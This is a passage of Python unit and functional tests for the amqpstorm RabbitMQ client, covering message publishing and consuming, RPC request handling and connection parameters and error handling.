        # Publish 5 Messages.
        for _ in range(messages_to_publish):
            self.channel.basic.publish(body=body,
                                       routing_key=self.queue_name)

        inbound_messages = []
        for message in self.channel.build_inbound_messages(break_on_empty=True):
            self.assertEqual(message.body, body)
            inbound_messages.append(message)
        self.assertEqual(len(inbound_messages), messages_to_publish)

    def tearDown(self):
        self.channel.queue.delete(self.queue_name)
        self.channel.close()
        self.connection.close()


class PublishLargeMessagesAndGetTest(unittest.TestCase):
    connection = None
    channel = None
    queue_name = 'test.basic.large_messages'

    def setUp(self):
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()
        self.channel.confirm_deliveries()
        self.channel.queue.declare(self.queue_name)
        self.channel.queue.purge(self.queue_name)

    def test_functional_publish_5_large_messages(self):
        body = str(uuid.uuid4()) * 8192
        messages_to_publish = 5

        # Publish 5 Messages.
        for _ in range(messages_to_publish):
            self.channel.basic.publish(body=body,
                                       routing_key=self.queue_name)

        inbound_messages = []
        for _ in range(messages_to_publish):
            message = self.channel.basic.get(self.queue_name,
                                             no_ack=True, to_dict=False)
            self.assertEqual(message.body, body)
            inbound_messages.append(message)
        self.assertEqual(len(inbound_messages), messages_to_publish)

    def tearDown(self):
        self.channel.queue.delete(self.queue_name)
        self.channel.close()
        self.connection.close()


class PublishWithPropertiesAndGetTest(unittest.TestCase):
    connection = None
    channel = None
    queue_name = 'test.basic.properties'

    def setUp(self):
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()
        self.channel.queue.declare(self.queue_name)
        self.channel.queue.purge(self.queue_name)
        self.channel.confirm_deliveries()

    def test_functional_publish_with_properties_and_get(self):
        app_id = 'travis-ci'.encode('utf-8')
        properties = {
            'headers': {
                'key': 1234567890,
                'alpha': 'omega'
            }
        }

        message = Message.create(self.channel,
                                 body=str(uuid.uuid4()),
                                 properties=properties)
        # Assign Property app_id
        message.app_id = app_id

        # Check that it was set correctly.
        self.assertEqual(message.properties['app_id'], app_id)

        # Get Property Correlation Id
        correlation_id = message.correlation_id

        # Publish Message
        message.publish(routing_key=self.queue_name)

        # Sleep for 0.1s to make sure RabbitMQ has time to catch up.
        time.sleep(0.1)

        # New way
        payload = self.channel.basic.get(self.queue_name,
                                         to_dict=False)
        self.assertEqual(payload.properties['headers']['key'], 1234567890)
        self.assertEqual(payload.properties['headers']['alpha'], 'omega')
        self.assertEqual(payload.app_id, app_id.decode('utf-8'))
        self.assertEqual(payload.correlation_id, correlation_id)
        self.assertIsInstance(payload.properties['app_id'], str)
        self.assertIsInstance(payload.properties['correlation_id'], str)

        # Old way
        result = payload.to_dict()
        self.assertEqual(result['properties']['headers'][b'key'], 1234567890)
        self.assertEqual(result['properties']['headers'][b'alpha'], b'omega')
        self.assertIsInstance(result['properties']['app_id'], bytes)
        self.assertIsInstance(result['properties']['correlation_id'], bytes)
        self.assertEqual(result['properties']['app_id'], app_id)
        self.assertEqual(result['properties']['correlation_id'],
                         correlation_id.encode('utf-8'))

    def tearDown(self):
        self.channel.queue.delete(self.queue_name)
        self.channel.close()
        self.connection.close()


class PublishMessageAndResend(unittest.TestCase):
    connection = None
    channel = None
    queue_name = 'test.basic.resend'

    def setUp(self):
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()
        self.channel.queue.declare(self.queue_name)
        self.channel.queue.purge(self.queue_name)
        self.channel.confirm_deliveries()
        message = Message.create(self.channel,
                                 body=str(uuid.uuid4()))
        message.app_id = 'travis-ci'
        message.publish(self.queue_name)

    def test_functional_publish_with_properties_and_get(self):
        message = self.channel.basic.get(self.queue_name,
                                         to_dict=False, no_ack=True)

        # Check original app_id
        self.assertEqual(message.app_id, 'travis-ci')

        # Assign Property app_id
        app_id = 'travis-ci-2'.encode('utf-8')
        message.app_id = app_id

        # Check that it was set correctly.
        self.assertEqual(message.properties['app_id'], app_id)

        # Get Property Correlation Id
        correlation_id = message.correlation_id

        # Publish Message
        message.publish(routing_key=self.queue_name)

        # Sleep for 0.1s to make sure RabbitMQ has time to catch up.
        time.sleep(0.1)

        # New way
        payload = self.channel.basic.get(self.queue_name,
                                         to_dict=False, no_ack=True)
        self.assertEqual(payload.app_id, app_id.decode('utf-8'))
        self.assertEqual(payload.correlation_id, correlation_id)
        self.assertIsInstance(payload.properties['app_id'], str)
        self.assertIsInstance(payload.properties['correlation_id'], str)

        # Old way
        result = payload.to_dict()
        self.assertIsInstance(result['properties']['app_id'], bytes)
        self.assertIsInstance(result['properties']['correlation_id'], bytes)
        self.assertEqual(result['properties']['app_id'], app_id)
        self.assertEqual(result['properties']['correlation_id'],
                         correlation_id.encode('utf-8'))

    def tearDown(self):
        self.channel.queue.delete(self.queue_name)
        self.channel.close()
        self.connection.close()


class PublishAndConsumeMessagesTest(unittest.TestCase):
    connection = None
    channel = None
    queue_name = 'test.basic.consume'

    def setUp(self):
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()
        self.channel.queue.declare(self.queue_name)
        self.channel.queue.purge(self.queue_name)
        self.channel.confirm_deliveries()

    def test_functional_publish_and_consume_five_messages(self):
        for _ in range(5):
            self.channel.basic.publish(body=str(uuid.uuid4()),
                                       routing_key=self.queue_name)

        # Store and inbound messages.
        inbound_messages = []

        def on_message(message):
            self.assertIsInstance(message.body, (bytes, str))
            self.assertIsInstance(message.channel, Channel)
            self.assertIsInstance(message.properties, dict)
            self.assertIsInstance(message.method, dict)
            inbound_messages.append(message)

        self.channel.basic.consume(callback=on_message,
                                   queue=self.queue_name,
                                   no_ack=True)

        # Sleep for 0.1s to make sure RabbitMQ has time to catch up.
        time.sleep(0.1)

        self.channel.process_data_events(to_tuple=False)

        # Make sure all five messages were downloaded.
        self.assertEqual(len(inbound_messages), 5)

    def tearDown(self):
        self.channel.queue.delete(self.queue_name)
        self.channel.close()
        self.connection.close()


class GeneratorConsumeMessagesTest(unittest.TestCase):
    connection = None
    channel = None
    queue_name = 'test.basic.generator'

    def setUp(self):
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()
        self.channel.queue.declare(self.queue_name)
        self.channel.queue.purge(self.queue_name)
        self.channel.confirm_deliveries()
        for _ in range(5):
            self.channel.basic.publish(body=str(uuid.uuid4()),
                                       routing_key=self.queue_name)
        self.channel.basic.consume(queue=self.queue_name,
                                   no_ack=True)
        # Sleep for 0.1s to make sure RabbitMQ has time to catch up.
        time.sleep(0.1)

    def test_functional_generator_consume(self):
        # Store and inbound messages.
        inbound_messages = []
        for message in \
                self.channel.build_inbound_messages(break_on_empty=True):
            self.assertIsInstance(message, Message)
            inbound_messages.append(message)

        # Make sure all five messages were downloaded.
        self.assertEqual(len(inbound_messages), 5)

    def tearDown(self):
        self.channel.queue.delete(self.queue_name)
        self.channel.close()
        self.connection.close()


class ConsumeAndRedeliverTest(unittest.TestCase):
    connection = None
    channel = None
    queue_name = 'test.consume.redeliver'
    message = str(uuid.uuid4())

    def setUp(self):
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()
        self.channel.queue.declare(self.queue_name)
        self.channel.queue.purge(self.queue_name)
        self.channel.confirm_deliveries()
        self.channel.basic.publish(body=self.message,
                                   routing_key=self.queue_name)

        def on_message(message):
            message.reject()

        self.channel.basic.consume(callback=on_message,
                                   queue=self.queue_name,
                                   no_ack=False)
        self.channel.process_data_events(to_tuple=False)

        # Sleep for 0.1s to make sure RabbitMQ has time to catch up.
        time.sleep(0.1)

    def test_functional_consume_and_redeliver(self):
        # Store and inbound messages.
        inbound_messages = []

        def on_message(message):
            inbound_messages.append(message)
            self.assertEqual(message.body, self.message)
            message.ack()

        self.channel.basic.consume(callback=on_message,
                                   queue=self.queue_name,
                                   no_ack=False)
        self.channel.process_data_events(to_tuple=False)
        self.assertEqual(len(inbound_messages), 1)

    def tearDown(self):
        self.channel.queue.delete(self.queue_name)
        self.channel.close()
        self.connection.close()


class GetAndRedeliverTest(unittest.TestCase):
    connection = None
    channel = None
    queue_name = 'test.get.redeliver'
    message = str(uuid.uuid4())

    def setUp(self):
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()
        self.channel.queue.declare(self.queue_name)
        self.channel.queue.purge(self.queue_name)
        self.channel.confirm_deliveries()
        self.channel.basic.publish(body=self.message,
                                   routing_key=self.queue_name)
        message = self.channel.basic.get(self.queue_name, no_ack=False,
                                         to_dict=False)
        message.reject()
        # Sleep for 0.1s to make sure RabbitMQ has time to catch up.
        time.sleep(0.1)

    def test_functional_get_and_redeliver(self):
        message = self.channel.basic.get(self.queue_name, no_ack=False,
                                         to_dict=False)
        self.assertEqual(message.body, self.message)

    def tearDown(self):
        self.channel.queue.delete(self.queue_name)
        self.channel.close()
        self.connection.close()


class PublisherConfirmsTest(unittest.TestCase):
    connection = None
    channel = None
    queue_name = 'test.basic.confirm'

    def setUp(self):
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()
        self.channel.queue.declare(self.queue_name)
        self.channel.queue.purge(self.queue_name)
        self.channel.confirm_deliveries()

    def test_functional_publish_and_confirm(self):
        self.channel.basic.publish(body=str(uuid.uuid4()),
                                   routing_key=self.queue_name)

        # Sleep for 0.1s to make sure RabbitMQ has time to catch up.
        time.sleep(0.1)

        payload = self.channel.queue.declare(self.queue_name,
                                             passive=True)
        self.assertEqual(payload['message_count'], 1)

    def tearDown(self):
        self.channel.queue.delete(self.queue_name)
        self.channel.close()
        self.connection.close()


class PublisherConfirmFailsTest(unittest.TestCase):
    connection = None
    channel = None
    queue_name = 'test.basic.confirm.fails'

    def setUp(self):
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()
        self.channel.confirm_deliveries()

    def test_functional_publish_confirm_to_invalid_queue(self):
        self.assertRaises(AMQPMessageError,
                          self.channel.basic.publish,
                          body=str(uuid.uuid4()),
                          exchange='amq.direct',
                          mandatory=True,
                          routing_key=self.queue_name)

    def tearDown(self):
        self.channel.close()
        self.connection.close()


class UriConnectionTest(unittest.TestCase):
    connection = None
    channel = None

    def test_functional_uri_connection(self):
        self.connection = UriConnection(URI)
        self.channel = self.connection.channel()
        self.assertTrue(self.connection.is_open)
        self.channel.close()
        self.connection.close()


class PublishFailAndFix(unittest.TestCase):
    connection = None
    channel = None
    queue_name = 'test.publish.fail.and.fix'

    def setUp(self):
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()
        self.channel.confirm_deliveries()

    def test_functional_publish_and_confirm(self):
        try:
            self.channel.basic.publish(body=str(uuid.uuid4()),
                                       routing_key=self.queue_name,
                                       mandatory=True)
        except AMQPChannelError as why:
            self.assertTrue(self.channel.is_open)
            self.assertEqual(why.error_code, 312)
            if why.error_code == 312:
                self.channel.queue.declare(self.queue_name)

        result = \
            self.channel.basic.publish(body=str(uuid.uuid4()),
                                       routing_key=self.queue_name,
                                       mandatory=True)
        self.assertTrue(result)

        payload = self.channel.queue.declare(self.queue_name,
                                             passive=True)
        self.assertEqual(payload['message_count'], 1)

    def tearDown(self):
        self.channel.queue.delete(self.queue_name)
        self.channel.close()
        self.connection.close()


class PublishAndFail(unittest.TestCase):
    connection = None
    channel = None
    queue_name = 'test.publish.and.fail'

    def setUp(self):
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()
        self.channel.queue.declare(self.queue_name)
        self.channel.confirm_deliveries()

    def test_functional_publish_and_confirm(self):
        message = Message.create(self.channel, 'hello world')
        self.assertRaises(AMQPChannelError, message.publish, 'hello_world',
                          exchange='fake_exchange', mandatory=True)
        self.assertFalse(self.channel.is_open)

    def tearDown(self):
        self.channel = self.connection.channel()
        self.channel.queue.delete(self.queue_name)
        self.channel.close()
        self.connection.close()


class TraditionalStartStopConsumeTest(unittest.TestCase):
    connection = None
    channel = None
    queue_name = 'test.basic.consume'

    def setUp(self):
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()
        self.channel.queue.declare(self.queue_name)
        self.channel.queue.purge(self.queue_name)
        self.channel.confirm_deliveries()

    def test_functional_start_stop_consumer_tuple(self):
        for _ in range(5):
            self.channel.basic.publish(body=str(uuid.uuid4()),
                                       routing_key=self.queue_name)

        # Store and inbound messages.
        inbound_messages = []

        def on_message(body, channel, method, properties):
            self.assertIsInstance(body, (bytes, str))
            self.assertIsInstance(channel, Channel)
            self.assertIsInstance(properties, dict)
            self.assertIsInstance(method, dict)
            inbound_messages.append(body)
            if len(inbound_messages) >= 5:
                channel.stop_consuming()

        self.channel.basic.consume(callback=on_message,
                                   queue=self.queue_name,
                                   no_ack=True)

        # Sleep for 0.1s to make sure RabbitMQ has time to catch up.
        time.sleep(0.1)

        self.channel.start_consuming(to_tuple=True)

        # Make sure all five messages were downloaded.
        self.assertEqual(len(inbound_messages), 5)

    def tearDown(self):
        self.channel.queue.delete(self.queue_name)
        self.channel.close()
        self.connection.close()


class StartStopConsumeTest(unittest.TestCase):
    connection = None
    channel = None
    queue_name = 'test.basic.consume'

    def setUp(self):
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()
        self.channel.queue.declare(self.queue_name)
        self.channel.queue.purge(self.queue_name)
        self.channel.confirm_deliveries()

    def test_functional_start_stop_consumer(self):
        for _ in range(5):
            self.channel.basic.publish(body=str(uuid.uuid4()),
                                       routing_key=self.queue_name)

        # Store and inbound messages.
        inbound_messages = []

        def on_message(message):
            self.assertIsInstance(message.body, (bytes, str))
            self.assertIsInstance(message.channel, Channel)
            self.assertIsInstance(message.properties, dict)
            self.assertIsInstance(message.method, dict)
            inbound_messages.append(message)
            if len(inbound_messages) >= 5:
                message.channel.stop_consuming()

        self.channel.basic.consume(callback=on_message,
                                   queue=self.queue_name,
                                   no_ack=True)

        # Sleep for 0.1s to make sure RabbitMQ has time to catch up.
        time.sleep(0.1)

        self.channel.start_consuming(to_tuple=False)

        # Make sure all five messages were downloaded.
        self.assertEqual(len(inbound_messages), 5)

    def tearDown(self):
        self.channel.queue.delete(self.queue_name)
        self.channel.close()
        self.connection.close()


class TraditionalPublishAndConsumeMessagesTest(unittest.TestCase):
    connection = None
    channel = None
    queue_name = 'test.basic.consume'

    def setUp(self):
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()
        self.channel.queue.declare(self.queue_name)
        self.channel.queue.purge(self.queue_name)
        self.channel.confirm_deliveries()

    def test_functional_publish_and_consume_five_messages_tuple(self):
        for _ in range(5):
            self.channel.basic.publish(body=str(uuid.uuid4()),
                                       routing_key=self.queue_name)

        # Store and inbound messages.
        inbound_messages = []

        def on_message(body, channel, method, properties):
            self.assertIsInstance(body, (bytes, str))
            self.assertIsInstance(channel, Channel)
            self.assertIsInstance(properties, dict)
            self.assertIsInstance(method, dict)
            inbound_messages.append(body)

        self.channel.basic.consume(callback=on_message,
                                   queue=self.queue_name,
                                   no_ack=True)

        # Sleep for 0.1s to make sure RabbitMQ has time to catch up.
        time.sleep(0.1)

        self.channel.process_data_events(to_tuple=True)

        # Make sure all five messages were downloaded.
        self.assertEqual(len(inbound_messages), 5)

    def tearDown(self):
        self.channel.queue.delete(self.queue_name)
        self.channel.close()
        self.connection.close()


class TraditionalGeneratorConsumeMessagesTest(unittest.TestCase):
    connection = None
    channel = None
    queue_name = 'test.basic.generator'

    def setUp(self):
        self.connection = Connection(HOST, USERNAME, PASSWORD)
        self.channel = self.connection.channel()
        self.channel.queue.declare(self.queue_name)
        self.channel.queue.purge(self.queue_name)
        self.channel.confirm_deliveries()
        for _ in range(5):
            self.channel.basic.publish(body=str(uuid.uuid4()),
                                       routing_key=self.queue_name)
        self.channel.basic.consume(queue=self.queue_name,
                                   no_ack=True)
        # Sleep for 0.1s to make sure RabbitMQ has time to catch up.
        time.sleep(0.1)

    def test_functional_generator_consume(self):
        # Store and inbound messages.
        inbound_messages = []
        for message in \
                self.channel.build_inbound_messages(break_on_empty=True,
                                                    to_tuple=True):
            self.assertIsInstance(message, tuple)
            self.assertIsInstance(message[0], bytes)
            self.assertIsInstance(message[1], Channel)
            self.assertIsInstance(message[2], dict)
            self.assertIsInstance(message[3], dict)
            inbound_messages.append(message)

        # Make sure all five messages were downloaded.
        self.assertEqual(len(inbound_messages), 5)

    def tearDown(self):
        self.channel.queue.delete(self.queue_name)
        self.channel.close()
        self.connection.close()






import logging
import time

try:
    import unittest2 as unittest
except ImportError:
    import unittest

from amqpstorm.rpc import Rpc
from amqpstorm.exception import AMQPChannelError

from amqpstorm.tests.utility import FakeConnection
from amqpstorm.tests.utility import FakePayload

logging.basicConfig(level=logging.DEBUG)


class RpcTests(unittest.TestCase):
    def test_rpc_register_request(self):
        rpc = Rpc(FakeConnection())
        uuid = rpc.register_request(['Test'])
        self.assertEqual(len(rpc._request), 1)
        for key in rpc._request:
            self.assertEqual(uuid, rpc._request[key])

    def test_rpc_get_request(self):
        rpc = Rpc(FakeConnection())
        uuid = rpc.register_request(['Test'])
        self.assertTrue(rpc.on_frame(FakePayload(name='Test')))
        self.assertIsInstance(rpc.get_request(uuid=uuid, raw=True),
                              FakePayload)

    def test_rpc_get_request_multiple_1(self):
        rpc = Rpc(FakeConnection())
        uuid = rpc.register_request(['Test'])
        for index in range(1000):
            rpc.on_frame(FakePayload(name='Test', value=index))
        for index in range(1000):
            result = rpc.get_request(uuid=uuid, raw=True, multiple=True)
            self.assertEqual(result.value, index)

        rpc.remove(uuid)

    def test_rpc_get_request_multiple_2(self):
        rpc = Rpc(FakeConnection())
        uuid = rpc.register_request(['Test'])
        for index in range(1000):
            rpc.on_frame(FakePayload(name='Test', value=index))
            result = rpc.get_request(uuid=uuid, raw=True, multiple=True)
            self.assertEqual(result.value, index)

        rpc.remove(uuid)

    def test_rpc_remove(self):
        rpc = Rpc(FakeConnection())
        uuid = rpc.register_request(['Test'])
        self.assertEqual(len(rpc._request), 1)
        self.assertEqual(len(rpc._response), 1)
        self.assertEqual(len(rpc._response[uuid]), 0)
        rpc.on_frame(FakePayload(name='Test'))
        rpc.remove(uuid)
        self.assertEqual(len(rpc._request), 0)
        self.assertEqual(len(rpc._response), 0)

    def test_rpc_remove_multiple(self):
        rpc = Rpc(FakeConnection())
        uuid = rpc.register_request(['Test'])
        for index in range(1000):
            rpc.on_frame(FakePayload(name='Test', value=index))
        self.assertEqual(len(rpc._request), 1)
        self.assertEqual(len(rpc._response[uuid]), 1000)
        rpc.remove(uuid)
        self.assertEqual(len(rpc._request), 0)
        self.assertEqual(len(rpc._response), 0)

    def test_rpc_remove_request(self):
        rpc = Rpc(FakeConnection())
        uuid = rpc.register_request(['Test'])
        self.assertEqual(len(rpc._request), 1)
        rpc.remove_request(uuid)
        self.assertEqual(len(rpc._request), 0)

    def test_rpc_remove_response(self):
        rpc = Rpc(FakeConnection())
        uuid = rpc.register_request(['Test'])
        self.assertEqual(len(rpc._response), 1)
        self.assertEqual(len(rpc._response[uuid]), 0)
        rpc.remove_response(uuid)
        self.assertEqual(len(rpc._response), 0)

    def test_rpc_remove_request_none(self):
        rpc = Rpc(FakeConnection())
        self.assertIsNone(rpc.remove_request(None))

    def test_rpc_remove_response_none(self):
        rpc = Rpc(FakeConnection())
        self.assertIsNone(rpc.remove_response(None))

    def test_rpc_get_request_not_found(self):
        rpc = Rpc(FakeConnection())
        self.assertIsNone(rpc.get_request(None))

    def test_rpc_on_frame(self):
        rpc = Rpc(FakeConnection())
        uuid = rpc.register_request(['Test'])
        self.assertEqual(rpc._response[uuid], [])
        rpc.on_frame(FakePayload(name='Test'))
        self.assertIsInstance(rpc._response[uuid][0], FakePayload)

    def test_rpc_on_multiple_frames(self):
        rpc = Rpc(FakeConnection())
        uuid = rpc.register_request(['Test'])
        self.assertEqual(rpc._response[uuid], [])
        rpc.on_frame(FakePayload(name='Test'))
        rpc.on_frame(FakePayload(name='Test'))
        rpc.on_frame(FakePayload(name='Test'))
        self.assertIsInstance(rpc._response[uuid][0], FakePayload)
        self.assertIsInstance(rpc._response[uuid][1], FakePayload)
        self.assertIsInstance(rpc._response[uuid][2], FakePayload)

    def test_rpc_raises_on_timeout(self):
        rpc = Rpc(FakeConnection(), timeout=0.1)
        uuid = rpc.register_request(['Test'])
        self.assertEqual(rpc._response[uuid], [])
        time.sleep(0.25)
        self.assertRaises(AMQPChannelError, rpc.get_request, uuid)






import logging
import socket
import ssl
import threading

from mock import MagicMock

try:
    import unittest2 as unittest
except ImportError:
    import unittest

from amqpstorm.io import IO
from amqpstorm import Connection
from amqpstorm.exception import *

from pamqp.specification import Basic as spec_basic
from pamqp import specification as pamqp_spec
from pamqp import frame as pamqp_frame

from amqpstorm.tests.utility import FakeChannel
from amqpstorm.tests.utility import MockLoggingHandler

logging.basicConfig(level=logging.DEBUG)


class ConnectionTests(unittest.TestCase):
    def setUp(self):
        self.logging_handler = MockLoggingHandler()
        logging.root.addHandler(self.logging_handler)

    def test_connection_with_statement(self):
        with Connection('127.0.0.1', 'guest', 'guest', lazy=True) as con:
            self.assertIsInstance(con, Connection)

    def test_connection_with_statement_when_failing(self):
        try:
            with Connection('127.0.0.1', 'guest', 'guest', lazy=True) as con:
                con.exceptions.append(AMQPConnectionError('error'))
                con.check_for_errors()
        except AMQPConnectionError as why:
            self.assertIsInstance(why, AMQPConnectionError)

        self.assertEqual(self.logging_handler.messages['warning'][0],
                         'Closing connection due to an unhandled exception: '
                         'error')

    def test_connection_server_is_blocked_default_value(self):
        connection = Connection('127.0.0.1', 'guest', 'guest', lazy=True)

        self.assertEqual(connection.is_blocked, False)

    def test_connection_server_properties_default_value(self):
        connection = Connection('127.0.0.1', 'guest', 'guest', lazy=True)

        self.assertEqual(connection.server_properties, {})

    def test_connection_socket_property(self):
        connection = Connection('127.0.0.1', 'guest', 'guest', lazy=True)
        connection._io.socket = 'FakeSocket'
        self.assertEqual(connection.socket, 'FakeSocket')

    def test_connection_socket_none_when_closed(self):
        connection = Connection('127.0.0.1', 'guest', 'guest', lazy=True)

        self.assertFalse(connection.socket)

    def test_connection_fileno_property(self):
        connection = Connection('127.0.0.1', 'guest', 'guest', lazy=True)
        connection.set_state(connection.OPENING)
        io = IO(connection.parameters, [])
        io.socket = MagicMock(name='socket', spec=socket.socket)
        connection._io = io
        io.socket.fileno.return_value = 5

        self.assertEqual(connection.fileno, 5)

    def test_connection_fileno_none_when_closed(self):
        connection = Connection('127.0.0.1', 'guest', 'guest', lazy=True)

        self.assertIsNone(connection.fileno)

    def test_connection_close_state(self):
        connection = Connection('127.0.0.1', 'guest', 'guest', lazy=True)
        connection.set_state(Connection.OPEN)
        connection.close()

        self.assertTrue(connection.is_closed)

    def test_connection_open_channel_on_closed_connection(self):
        connection = Connection('127.0.0.1', 'guest', 'guest', lazy=True)

        self.assertRaises(AMQPConnectionError, connection.channel)

    def test_connection_basic_read_buffer(self):
        connection = Connection('127.0.0.1', 'guest', 'guest', lazy=True)
        cancel_ok_frame = spec_basic.CancelOk().marshal()

        self.assertEqual(connection._read_buffer(cancel_ok_frame), b'\x00')

    def test_connection_handle_read_buffer_none_returns_none(self):
        connection = Connection('127.0.0.1', 'guest', 'guest', lazy=True)

        self.assertIsNone(connection._read_buffer(None))

    def test_connection_basic_handle_amqp_frame(self):
        connection = Connection('127.0.0.1', 'guest', 'guest', lazy=True)
        cancel_ok_frame = spec_basic.CancelOk().marshal()

        self.assertEqual(connection._handle_amqp_frame(cancel_ok_frame),
                         (b'\x00', None, None))

    def test_connection_handle_amqp_frame_none_returns_none(self):
        connection = Connection('127.0.0.1', 'guest', 'guest', lazy=True)
        result = connection._handle_amqp_frame('')

        self.assertEqual(result[0], '')
        self.assertIsNone(result[1])
        self.assertIsNone(result[2])

    def test_connection_handle_amqp_frame_error(self):
        connection = Connection('127.0.0.1', 'guest', 'guest', lazy=True)

        def throw_error(*_):
            raise pamqp_spec.AMQPFrameError()

        restore_func = pamqp_frame.unmarshal
        try:
            pamqp_frame.unmarshal = throw_error

            result = connection._handle_amqp_frame('error')

            self.assertEqual(result[0], 'error')
            self.assertIsNone(result[1])
            self.assertIsNone(result[2])
        finally:
            pamqp_frame.unmarshal = restore_func

    def test_connection_handle_unicode_error(self):
        """This test covers an unlikely issue triggered by network corruption.

            pamqp.decode._maybe_utf8 raises:
                UnicodeDecodeError: 'utf8' codec can't
                decode byte 0xc5 in position 1: invalid continuation byte

            The goal here is not to fix issues caused by network corruption,
            but rather to make sure that the exceptions raised when
            connections do fail are always predictable.

            Fail fast and reliably!

        :return:
        """
        connection = Connection('127.0.0.1', 'guest', 'guest', lazy=True)

        def throw_error(_):
            raise UnicodeDecodeError(str(), bytes(), 1, 1, str())

        restore_func = pamqp_frame.unmarshal
        try:
            pamqp_frame.unmarshal = throw_error

            result = connection._handle_amqp_frame('error')

            self.assertEqual(result[0], 'error')
            self.assertIsNone(result[1])
            self.assertIsNone(result[2])
        finally:
            pamqp_frame.unmarshal = restore_func

    def test_connection_handle_value_error(self):
        """This test covers an unlikely issue triggered by network corruption.

            pamqp.decode._embedded_value raises:
                ValueError: Unknown type: b'\x13'

            The goal here is not to fix issues caused by network corruption,
            but rather to make sure that the exceptions raised when
            connections do fail are always predictable.

            Fail fast and reliably!

        :return:
        """
        connection = Connection('127.0.0.1', 'guest', 'guest', lazy=True)

        def throw_error(_):
            raise ValueError("Unknown type: b'\x13'")

        restore_func = pamqp_frame.unmarshal
        try:
            pamqp_frame.unmarshal = throw_error

            result = connection._handle_amqp_frame('error')

            self.assertEqual(result[0], 'error')
            self.assertIsNone(result[1])
            self.assertIsNone(result[2])
        finally:
            pamqp_frame.unmarshal = restore_func

    def test_connection_wait_for_connection(self):
        connection = Connection('127.0.0.1', 'guest', 'guest', timeout=5,
                                lazy=True)
        connection.set_state(connection.OPENING)
        io = IO(connection.parameters, [])
        io.socket = MagicMock(name='socket', spec=socket.socket)
        connection._io = io

        self.assertFalse(connection.is_open)

        def func(conn):
            conn.set_state(conn.OPEN)

        threading.Timer(function=func, interval=1, args=(connection,)).start()
        connection._wait_for_connection_to_open()

        self.assertTrue(connection.is_open)

    def test_connection_wait_for_connection_raises_on_timeout(self):
        connection = Connection('127.0.0.1', 'guest', 'guest', timeout=0.1,
                                lazy=True)
        connection.set_state(connection.OPENING)
        io = IO(connection.parameters, [])
        io.socket = MagicMock(name='socket', spec=socket.socket)
        connection._io = io

        self.assertRaises(AMQPConnectionError,
                          connection._wait_for_connection_to_open)

    def test_connection_close_channels(self):
        connection = Connection('127.0.0.1', 'guest', 'guest', timeout=1,
                                lazy=True)
        connection._channels[0] = FakeChannel()
        connection._channels[1] = FakeChannel()
        connection._channels[2] = FakeChannel(FakeChannel.CLOSED)

        self.assertTrue(connection._channels[0].is_open)
        self.assertTrue(connection._channels[1].is_open)
        self.assertTrue(connection._channels[2].is_closed)

        connection._close_channels()

        self.assertTrue(connection._channels[0].is_closed)
        self.assertTrue(connection._channels[1].is_closed)
        self.assertTrue(connection._channels[2].is_closed)

    def test_connection_closed_on_exception(self):
        connection = Connection('127.0.0.1', 'guest', 'guest', timeout=1,
                                lazy=True)
        connection.set_state(connection.OPEN)
        connection.exceptions.append(AMQPConnectionError('error'))

        self.assertTrue(connection.is_open)
        self.assertRaises(AMQPConnectionError, connection.check_for_errors)
        self.assertTrue(connection.is_closed)

    def test_connection_heartbeat_stopped_on_close(self):
        connection = Connection('127.0.0.1', 'guest', 'guest', timeout=1,
                                lazy=True)
        connection.set_state(connection.OPEN)
        connection.heartbeat.start(connection.exceptions)
        connection.exceptions.append(AMQPConnectionError('error'))

        self.assertTrue(connection.heartbeat._running.is_set())

        self.assertRaises(AMQPConnectionError, connection.check_for_errors)

        self.assertFalse(connection.heartbeat._running.is_set())


class ConnectionParameterTests(unittest.TestCase):
    def test_connection_set_hostname(self):
        connection = Connection('127.0.0.1', 'guest', 'guest', lazy=True)

        self.assertEqual(connection.parameters['username'], 'guest')

    def test_connection_set_username(self):
        connection = Connection('127.0.0.1', 'guest', 'guest', lazy=True)

        self.assertEqual(connection.parameters['username'], 'guest')

    def test_connection_set_password(self):
        connection = Connection('127.0.0.1', 'guest', 'guest', lazy=True)

        self.assertEqual(connection.parameters['username'], 'guest')

    def test_connection_set_parameters(self):
        connection = Connection('127.0.0.1', 'guest', 'guest',
                                virtual_host='travis',
                                heartbeat=120,
                                timeout=180,
                                ssl=True,
                                ssl_options={
                                    'ssl_version': ssl.PROTOCOL_TLSv1
                                },
                                lazy=True)

        self.assertEqual(connection.parameters['virtual_host'], 'travis')
        self.assertEqual(connection.parameters['heartbeat'], 120)
        self.assertEqual(connection.parameters['timeout'], 180)
        self.assertEqual(connection.parameters['ssl'], True)
        self.assertEqual(connection.parameters['ssl_options']['ssl_version'],
                         ssl.PROTOCOL_TLSv1)

    def test_connection_invalid_hostname(self):
        self.assertRaises(AMQPInvalidArgument, Connection, 1,
                          'guest', 'guest', lazy=True)

    def test_connection_invalid_username(self):
        self.assertRaises(AMQPInvalidArgument, Connection, '127.0.0.1',
                          2, 'guest', lazy=True)
        self.assertRaises(AMQPInvalidArgument, Connection, '127.0.0.1',
                          None, 'guest', lazy=True)

    def test_connection_invalid_password(self):
        self.assertRaises(AMQPInvalidArgument, Connection, '127.0.0.1',
                          'guest', 3, lazy=True)
        self.assertRaises(AMQPInvalidArgument, Connection, '127.0.0.1',
                          'guest', None, lazy=True)

    def test_connection_invalid_virtual_host(self):
        self.assertRaises(AMQPInvalidArgument, Connection, '127.0.0.1',
                          'guest', 'guest', virtual_host=4, lazy=True)
        self.assertRaises(AMQPInvalidArgument, Connection, '127.0.0.1',
                          'guest', 'guest', virtual_host=None, lazy=True)

    def test_connection_invalid_port(self):
